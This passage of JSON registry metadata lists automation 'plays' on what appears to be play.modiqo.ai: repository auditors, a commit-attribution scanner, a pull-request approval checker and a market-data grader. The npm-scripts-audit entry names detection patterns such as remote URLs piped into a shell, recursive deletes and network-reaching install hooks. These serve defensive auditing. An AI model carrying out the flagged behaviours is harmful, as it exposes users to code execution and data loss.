shell.","example":"/Users/me/src/my-project"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3549b8ea542b6c6031da839882aaa48655ffb949f177d423cdff2395682cc780","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/npm-scripts-audit@0.5.1","reference":"lgoyal6/npm-scripts-audit@0.5.1","uri":"https://play.modiqo.ai/lgoyal6/npm-scripts-audit@0.5.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/npm-scripts-audit@0.5.1","name":"npm-scripts-audit","title":"npm-scripts-audit","description":"Audits the npm code that runs without anyone reading it. Two halves, both fully offline: your own package.json scripts (a remote URL piped into a shell, a recursive delete whose target expands at run time or resolves outside the project, a write outside the project directory, a binary no declared dependency provides, npm publish with no prepublishOnly guard) and, the expensive half, every INSTALLED dependency that carries a preinstall, install or postinstall hook. Those hooks execute arbitrary code with your privileges on every npm install, so the play follows each hook command into the package files it actually runs and reports whether the code reaches the network, compiles locally, or does nothing, with the file and line as evidence. No registry call, no API key, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","supply-chain-security","job-dependency-audit","tool-npm","effect-read-only","npm-scripts","postinstall-hook","preinstall-hook","install-scripts","arbitrary-code-execution","curl-pipe-bash","recursive-delete","write-outside-project","prepublishonly","undeclared-binary","supply-chain","audience-maintainers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.1","published_at":"2026-09-04T22:29:23.749079+00:00","visibility":"public","quality_score":1,"size_bytes":22366,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Project directory to audit; its package.json and every node_modules tree beneath it","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for project package.json files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:976dc32e5675eccc36321e539575cd53730a2839992042a248f1660ea135c365","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/commit-attribution-guard@0.1.5","reference":"dotisacat/commit-attribution-guard@0.1.5","uri":"https://play.modiqo.ai/dotisacat/commit-attribution-guard@0.1.5","manifest_uri":"https://play.modiqo.ai/dotisacat/commit-attribution-guard@0.1.5","name":"commit-attribution-guard","title":"commit-attribution-guard","description":"Scans your recent commit messages for AI-attribution marks you may not have meant to publish -- Co-Authored-By trailers naming an AI tool, \"Generated with/by\" footers, robot-emoji-plus-tool-name body marks -- before that history goes public. Identity hygiene for commit metadata, NOT a repo audit: reads commit messages only, never code. The one narrow exception reads a configured commit.template file and commit hooks to test for the same structural match, but returns only a \"class:tool\" pattern identifier, never the source text -- no hook or template code line ever leaves this play. A match is either a TRAILER (a Co-Authored-By or Signed-off-by trailer whose value names an AI tool, via git's own trailer parser) or a BODY-MARK (a \"Generated with/by <tool>\" phrase or a robot emoji sharing a line with a tool name) -- a commit that merely discusses AI in prose is never flagged. The same check covers attribution SOURCES that could re-inject a mark into a future commit -- your commit.template and commit hooks -- staying inside the repository; a path resolving outside it is reported out of scope and never opened. You get a clean bill when nothing is found, or a findings table naming only the sha, the class, and the single matched line -- never the full commit message and never any code. Read-only, no credentials, no network; needs python3 and git.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-developer-workflow","job-identity-hygiene","audience-developers","effect-read-only","tool-git"],"primary_domain":"domain-developer-workflow","author":"Sunzeyu06","version":"0.1.5","published_at":"2026-09-04T18:07:39.458387+00:00","visibility":"public","quality_score":1,"size_bytes":16569,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["scan_log","scan_config","validate_repo"]},"parameters":[{"name":"repo","type":"string","required":false,"default":".","description":"Path to the git repository. Steps run in the play workspace, so a relative path resolves somewhere you did not mean — prefer absolute paths.","example":"~/my-project"},{"name":"depth","type":"integer","required":false,"default":"50","description":"How many recent commits to scan (1-1000)","example":"50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4ca64c544d5a4e821f5d40d67067acaa39ab1c27255da328698add43bc0120db","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rahul/stale-approval@0.1.3","reference":"rahul/stale-approval@0.1.3","uri":"https://play.modiqo.ai/rahul/stale-approval@0.1.3","manifest_uri":"https://play.modiqo.ai/rahul/stale-approval@0.1.3","name":"stale-approval","title":"stale-approval","description":"Finds GitHub pull requests you previously approved that later received new commits, so you know which approvals may no longer reflect the current code and deserve another look. Read-only (gh api GET calls only); never comments, re-reviews, or merges. Honestly reports PRs it could not verify (rate limit/permission errors) and search truncation, and supports mode=sample for a cold-start demo with no real GitHub calls.","owner":{"kind":"user","slug":"rahul"},"registry_organization":"rahul","tags":["github","code-review","pull-requests","stale-approval","read-only","typescript"],"primary_domain":"domain-uncategorized","author":"Agruskrrishofficial","version":"0.1.3","published_at":"2026-09-04T16:59:02.434646+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":8015,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":1,"names":["check"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Optional owner/repo to scope the check to a single repository. Default: all repositories the authenticated GitHub user can access."},{"name":"lookback_days","type":"string","required":false,"default":"","description":"Optional lookback window in days limiting how far back candidate pull requests are searched. Default: no lookback limit."},{"name":"mode","type":"string","required":false,"default":"live","description":"Set to \"sample\" to see a demo report with fixture data instead of calling GitHub — useful for a cold start with no relevant review history."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a3e0b0e02fe130365ab3c6e2d2d25ad518c12be4de08bacb0169c709a3aa6bd2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/market-signal-quality@0.2.1","reference":"himanshu-jha/market-signal-quality@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/market-signal-quality@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/market-signal-quality@0.2.1","name":"market-signal-quality","title":"market-signal-quality","description":"Grades how much weight a prediction market price can carry from the evidence the venue publishes with it. Two Manifold listings run in parallel—one ordered by liquidity and one by closing date—and each is graded independently before the presentation deduplicates stable market identities. That preserves evidence from one listing when the other fails. The screen checks open binary status, closing time, probability, liquidity, recent volume, and distinct-bettor fields against explicit heuristic thresholds. Missing, non-finite, negative, fractional, stale, resolved, and out-of-range values cannot earn BACKED; each weak or invalid result names the reason. A listing that fails is reported as unread, and listings with no market records fail rather than becoming an empty success. This is a read-only data-quality screen, not an accuracy claim or financial advice: it recommends no position, places no order, and needs no account or credential.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-researchers","domain-research","tool-manifold","forecasting","data-quality","signals"],"primary_domain":"domain-research","author":"himanshu748","version":"0.2.1","published_at":"2026-09-04T14:52:37.272625+00:00","visibility":"public","quality_score":1,"size_bytes":12237,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["by_closing","by_liquidity","grade_closing","grade_liquidity"]},"parameters":[{"name":"topic","type":"string","required":false,"default":"","description":"Optional free-text topic to narrow both listings to one subject. Leave it out to grade the deepest and soonest-closing markets returned by the venue.","example":"election"}],"execution":{"adapters":[{"id":"himanshu-jha/manifold-markets","name":"manifold-markets","version":null,"credential_status":"none"},{"id":"manifold-markets","name":"manifold-markets","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:925f9d25f491a7de70ec3042cea197e958fa6235f71d5b1614b30fb0c2bb69c4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"manifold-markets","steps":2,"methods":["searchMarkets"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"himanshu-jha/manifold-markets","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/ranger-jay/hackathon-official-source-audit@0.1.1","reference":"ranger-jay/hackathon-official-source-audit@0.1.1","uri":"https://play.modiqo.ai/ranger-jay/hackathon-official-source-audit@0.1.1","manifest_uri":"https://play.modiqo.ai/ranger-jay/hackathon-official-source-audit@0.1.1","name":"hackathon-official-source-audit","title":"hackathon-official-source-audit","description":"Audits an official hackathon website for dates, prizes, eligibility, judging, sponsor technology, submission and social requirements, blockers, and a T-minus plan.","owner":{"kind":"user","slug":"ranger-jay"},"registry_organization":"ranger-jay","tags":["effect-read-only","audit","deadlines","hackathon","rules","typescript"],"primary_domain":"domain-uncategorized","author":"ranger-jay","version":"0.1.1","published_at":"2026-09-04T14:41:08.075677+00:00","visibility":"public","quality_score":1,"size_bytes":7686,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":5,"names":["fetch_rules","fetch_overview","fetch_schedule","fetch_resources","synthesize_audit"]},"parameters":[{"name":"official_url","type":"string","required":true,"description":"Canonical HTTPS URL of the official hackathon overview page"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:08d5defc50afb385f3b7390ed3c18e7f5c881f0616adf74c72b48fcc87b724aa","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chinmoy/os-portability@0.3.0","reference":"chinmoy/os-portability@0.3.0","uri":"https://play.modiqo.ai/chinmoy/os-portability@0.3.0","manifest_uri":"https://play.modiqo.ai/chinmoy/os-portability@0.3.0","name":"os-portability","title":"os-portability","description":"Reads a repository's tracked files out of the git index and reports what breaks when a teammate checks it out on a different operating system. 7 independent probes cover paths that differ only by case or by unicode normalisation, Windows reserved names and illegal characters, CRLF and mixed line endings, a UTF-8 BOM in front of a shebang or a .json file, shebang scripts missing the executable bit - git hooks git silently skips included - tracked symlinks, absolute host paths such as /Users/you or C:\\ left in source, non-NFC and zero-width filenames, and whether .gitattributes covers the extensions in use or mandates CRLF repository-wide. Every finding is classed breaks-checkout, breaks-run or cosmetic for linux, macos and windows separately. It reports UNKNOWN rather than a pass when the target is not a git work tree, has no commits and nothing staged, when a probe cannot report, and when no file was examined - a pass over zero coverage is never printed. It never flags .bat files, binaries, emoji joiners or Persian spelling, never reads comments, and it does not build, run or test anything, use the network, or write to the repository. Catches bad interpreter: /bin/bash^M first.","owner":{"kind":"user","slug":"chinmoy"},"registry_organization":"chinmoy","tags":["effect-read-only","domain-cross-platform","domain-engineering","tool-git","tool-python3","job-repo-audit","audience-maintainers","audience-developers","windows","macos","linux","crlf","line-endings","filename-case","portability","symlinks","gitattributes","ci","shebang","exec-bit","unicode","utf8-bom","git-hooks"],"primary_domain":"domain-cross-platform","author":"chinmoy","version":"0.3.0","published_at":"2026-09-04T11:59:27.227537+00:00","visibility":"public","quality_score":1,"size_bytes":87646,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":8,"names":["verdict","host_paths","line_endings","unicode_paths","exec_and_links","case_collisions","windows_hostile","attributes_coverage"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Work tree to inspect. The default '.' resolves to the directory the run started in, so a zero-argument run checks the repository you are standing in; pass an absolute path to check a checkout somewhere else. Only the git index is read, never the working tree, because a Windows checkout with core.autocrlf=true shows CRLF on disk for files that are pure LF in the index."},{"name":"target_os","type":"string","required":false,"default":"all","description":"Which operating systems the findings are judged against: all, or any comma-separated subset of linux, macos and windows. The default all is what makes a zero-argument run useful, since the whole point is the OS you do not have; narrow it to linux when only CI has to survive the repository and a Windows reserved name is nobody's problem."},{"name":"severity","type":"string","required":false,"default":"all","description":"Which findings reach the report: all, or critical. The default all keeps the warnings, because a tracked symlink or a long path is exactly the kind of thing that wastes an afternoon without ever producing an error message; use critical for the list that hard-stops a checkout or a run."},{"name":"max_path_len","type":"integer","required":false,"default":"260","description":"Length above which a tracked path is reported as too long for Windows. The default 260 is the classic Win32 limit, and it is measured against the repository-relative path only, so the checkout directory in front of it makes the real number larger and this direction cannot produce a false positive. Lower it to about 180 to leave room for a deep checkout directory."},{"name":"max_files","type":"integer","required":false,"default":"6000","description":"Upper bound on how many blobs are read for content. The default 6000 covers most repositories in a few seconds, and when the bound is hit the report says the scan was truncated instead of quietly under-reporting. Path-only checks - case, reserved names, length, unicode - always cover every tracked path regardless of this number."},{"name":"check_imports","type":"boolean","required":false,"default":"true","description":"Whether relative import and include targets are compared against the case of the file they name. The default true catches the defect that only Linux sees: an import that resolves on macOS and Windows and fails on CI. A target that resolves to nothing at all is never reported, because it is far more often a package name or a build alias; set false to skip reading source entirely."},{"name":"ignore","type":"string","required":false,"default":"node_modules,dist,build,vendor,.venv,deps,third_party,thirdparty,3rdparty,external,extern,subprojects,Godeps,.yarn,.pnp","description":"Comma-separated directory names skipped at any depth. The default names the trees people vendor or generate and nobody hand-edits, so a bundled dependency's CRLF never becomes your finding - redis returned 108 criticals from deps/jemalloc and deps/hiredis, code redis does not author; lockfiles, minified bundles and generated protobuf output are always skipped on top of this. Pass an empty value to audit everything the index holds, which is honoured literally: the default list is not silently restored."},{"name":"binary_extensions","type":"string","required":false,"default":"png,jpg,jpeg,gif,ico,webp,bmp,tiff,pdf,zip,gz,tar,tgz,bz2,xz,7z,jar,class,so,dylib,dll,exe,bin,wasm,woff,woff2,ttf,otf,mp3,mp4,mov,wav,webm,psd,sqlite,db,pyc,o,a,lib,p12,pfx,parquet,npy,h5,onnx,xlsx,docx,pptx","description":"Extensions skipped before any content is read. The default is a fast pre-filter, not the safety net: every remaining blob is still classified by looking for a NUL byte in its first 8 KiB, so an unlisted binary format is caught anyway and never reported for line endings. Extend it when a large text-like format in your repository is not worth reading."},{"name":"respect_gitattributes","type":"boolean","required":false,"default":"true","description":"Whether .gitattributes suppresses line-ending findings it already accounts for. The default true drops every file the repository declares as eol=crlf, binary or -text, which is the difference between a report you can trust and one that flags the .bat files you deliberately keep as CRLF; set false to see the raw byte-level picture. One exception survives either way - a declaration cannot make a carriage return harmless in a shell script or a Makefile, so those are reported even when eol=crlf covers them."},{"name":"check_invocations","type":"boolean","required":false,"default":"true","description":"Whether tracked build definitions and CI files are read for an explicit interpreter invocation of a script that is missing its exec bit. The default true is what stops the report calling pandoc's tools/validate-docx.sh a break: its Makefile runs it as `sh ./tools/validate-docx.sh`, and that form ignores the mode bit entirely, so CI passes today on a fresh 644 clone. Only Makefiles, .mk, .sh and CI YAML are read, only for this one pattern, and never for host paths; a match re-tiers the finding to a note and cites the caller, it never hides it. Set false to judge every shebang on its location alone."},{"name":"report_bom","type":"boolean","required":false,"default":"true","description":"Whether a UTF-8 byte order mark is reported. The default true covers exactly two shapes, because those are the two that actually break: a BOM in front of a shebang, which the kernel will not read past, and a BOM in a .json file, which neither python's json nor node's JSON.parse will accept. Every other BOM is silent by construction - .ps1, .cs, .csproj and .props need one for PowerShell 5.1 and MSBuild, and YAML, make and markdown all read one without complaint. Set false when a repository deliberately ships BOMs everywhere."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:baf103c494789877004ad25da33d790c1dce9acaad13ae48c9627aaa2b53b163","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":7,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/env-security@1.2.0","reference":"playbookacademy/env-security@1.2.0","uri":"https://play.modiqo.ai/playbookacademy/env-security@1.2.0","manifest_uri":"https://play.modiqo.ai/playbookacademy/env-security@1.2.0","name":"env-security","title":"env-security","description":"Environment security auditor. Scans for .env drift, gitignore protection gaps, and hardcoded secrets. Returns a deterministic verdict (CLEAN / DRIFT / LEAK) with prioritized recommendations. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-env-security","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.2.0","published_at":"2026-09-04T10:10:38.739357+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7465,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["check_secrets","judge_security","scan_env_files","check_gitignore"]},"parameters":[{"name":"src","type":"string","required":false,"default":".","description":"Path to the project root to scan","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ebf4c4ba4eacfa36003d6e27a4b8087759440a0985254700bccae4cdac7edbf5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/skill-audit@0.1.3","reference":"adnandev/skill-audit@0.1.3","uri":"https://play.modiqo.ai/adnandev/skill-audit@0.1.3","manifest_uri":"https://play.modiqo.ai/adnandev/skill-audit@0.1.3","name":"skill-audit","title":"skill-audit","description":"Most of the agent skills on your machine have never run once. On the machine this was built on, 94 of 103 installed skills had never been invoked across 51 transcripts and 138 MB of session history, and their descriptions still cost about 5,280 estimated tokens of context before a single word is typed. Three DAG steps: two independent readers (installed skill roots, and Skill tool calls in local transcripts) and one join that classifies used, never- invoked, and ghost skills that were invoked but are no longer installed. Every headline number cites the field it came from, and a missing transcript directory prints INDETERMINATE instead of a confident zero. Read-only: it never edits or removes a skill, makes no network call, carries no credentials, and needs only python3.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["skills","context","audit","claude-code","agent-harness"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.3","published_at":"2026-09-04T09:36:32.903788+00:00","visibility":"public","quality_score":1,"size_bytes":15218,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["classify_audit","inventory_skills","scan_invocations"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Directory to scan. Defaults to your home directory, which is what most people want. Point it elsewhere to audit a different home, a mounted image, or a copy. It is never written to."},{"name":"window_days","type":"string","required":false,"default":"0","description":"How far back to look, in days, filtered on transcript file modification time. 0 means every recorded session. A short window makes a recently installed skill look dead, so prefer 0 unless you are measuring one specific stretch of work."},{"name":"top_n","type":"string","required":false,"default":"20","description":"How many rows to print in each section. Never changes a count, only how much of each list is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the highest-weight rows per section. all prints every never-invoked skill. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:02cf861c194f260c2ef7e88e983e9f96525aa8b4862c620e9b69ec6214c11609","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/test-gap@0.1.3","reference":"adnandev/test-gap@0.1.3","uri":"https://play.modiqo.ai/adnandev/test-gap@0.1.3","manifest_uri":"https://play.modiqo.ai/adnandev/test-gap@0.1.3","name":"test-gap","title":"test-gap","description":"Finds every git repository on this machine and ranks them by how much code ships with no tests at all. On the machine this was built on, two of three repositories contained no test file of any kind, and source outweighed tests fourteen lines to one across 15,531 lines. Three DAG steps: one reader that discovers repositories and their last commit, one that classifies every source file as production or test, and one join that ranks repos by exposure and names the directories with no sibling tests. Classification is deliberately generous, so a gap is understated rather than invented, and finding no repositories prints INDETERMINATE instead of a confident zero. It measures whether tests exist, never whether they pass. Read-only toward your code: it runs no test, changes no file you already have, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own test-gap.json report, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["tests","test-coverage","git","code-quality","repository-audit","technical-debt"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.3","published_at":"2026-09-04T09:36:30.367464+00:00","visibility":"public","quality_score":1,"size_bytes":16436,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["report_gaps","classify_files","discover_repos"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Directory to scan. Defaults to your home directory, which is what most people want. Point it at a projects folder to narrow the sweep, or at a checkout to look at one tree. It is never written to."},{"name":"scan_depth","type":"string","required":false,"default":"4","description":"How many directory levels below each scan root to search for repositories. Raising it finds more deeply nested checkouts and costs time on large home directories. A repository's own subdirectories are never descended into, so nested submodules are not double counted."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many repositories to list in the exposure table. This never changes a count, only how much of the ranking is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the exposure ranking alone. all additionally prints every source directory that has no sibling test directory, per repository. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b371d3206c611f60f6ece188fee40a8d03582173f743c7c2890e235d81890b3a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chinmoy/stranger-test@0.3.0","reference":"chinmoy/stranger-test@0.3.0","uri":"https://play.modiqo.ai/chinmoy/stranger-test@0.3.0","manifest_uri":"https://play.modiqo.ai/chinmoy/stranger-test@0.3.0","name":"stranger-test","title":"stranger-test","description":"Clones the target repository from its own git objects into a temp directory, so untracked files, a gitignored .env and unpushed commits vanish exactly as they do for everyone else, then reports what a stranger hits first. 7 probes across 3 dependency layers cover the gitignored-but-present census, the host toolchain, environment variables the code reads but never documents, README commands that resolve to no npm script or no file at the path they name, whether the documented npm ci or poetry install can even run against the committed lockfile, and the submodules and git-lfs pointers a plain clone leaves empty or stubbed while exiting 0. The verdict orders findings by when a stranger meets them, clone then configure then install then run, and counts the undocumented actions between clone and a working state. It reports UNKNOWN, never a pass, when the target is not a git work tree, has no commits, or a probe cannot report. It does not check whether the code is correct, whether tests pass, or whether required services are running. Read-only: no network, no credentials, no writes to the target.","owner":{"kind":"user","slug":"chinmoy"},"registry_organization":"chinmoy","tags":["effect-read-only","domain-engineering","domain-documentation","tool-git","tool-python3","job-repo-audit","audience-maintainers","audience-developers","onboarding","setup","environment-variables","dotenv","readme","clone","gitignore","take-home","code-review","lockfile","npm-ci","dependencies","submodules","git-lfs"],"primary_domain":"domain-engineering","author":"chinmoy","version":"0.3.0","published_at":"2026-09-04T06:49:17.344574+00:00","visibility":"public","quality_score":1,"size_bytes":53265,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":7,"names":["verdict","cold_clone","host_probe","doc_commands","env_contract","submodule_lfs","lockfile_integrity"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Work tree to inspect. The default '.' resolves to the directory the run started in, so a zero-argument run tests the repository you are standing in; pass an absolute path to test a checkout somewhere else."},{"name":"docs","type":"string","required":false,"default":"README*,CONTRIBUTING*,SETUP*,INSTALL*,GETTING_STARTED*,QUICKSTART*,docs/**","description":"Comma-separated globs naming the documents whose shell blocks count as instructions to a stranger. The default covers the files a newcomer opens first plus everything under docs/, which is where quickstarts hide; narrow it to skip a large generated docs tree."},{"name":"ignore_noise","type":"boolean","required":false,"default":"true","description":"Whether regenerable ignored paths are dropped from the gitignored-but-present census. The default true hides node_modules, .venv, dist, target and editor state, because a stranger rebuilds those and listing them would bury the one .env that actually matters; set false to see every ignored file."},{"name":"max_files","type":"integer","required":false,"default":"4000","description":"Upper bound on source files read while looking for environment variables. The default 4000 covers most repositories in a few seconds, and when the bound is hit the report says the scan was truncated instead of quietly under-reporting."},{"name":"check_unpushed","type":"boolean","required":false,"default":"true","description":"Whether HEAD is compared against its upstream to find commits that exist only on this machine. The default true costs one ref query and catches the case where the working tree runs but the pushed remote does not; set false for a checkout with no remote."},{"name":"check_lockfile","type":"boolean","required":false,"default":"true","description":"Whether the committed lockfile is checked against the committed manifest. The default true reads package.json, pyproject.toml and Pipfile out of git objects and reports a documented npm ci or pipenv install --deploy that cannot run, a dependency the lockfile does not carry, and two package managers' lockfiles claiming the same tree; a repository that ships no lockfile and never documents a frozen install is never reported, so leaving this on costs a healthy library nothing. Set false to skip the install stage entirely."},{"name":"check_submodules","type":"boolean","required":false,"default":"true","description":"Whether submodule gitlinks and git-lfs pointers are 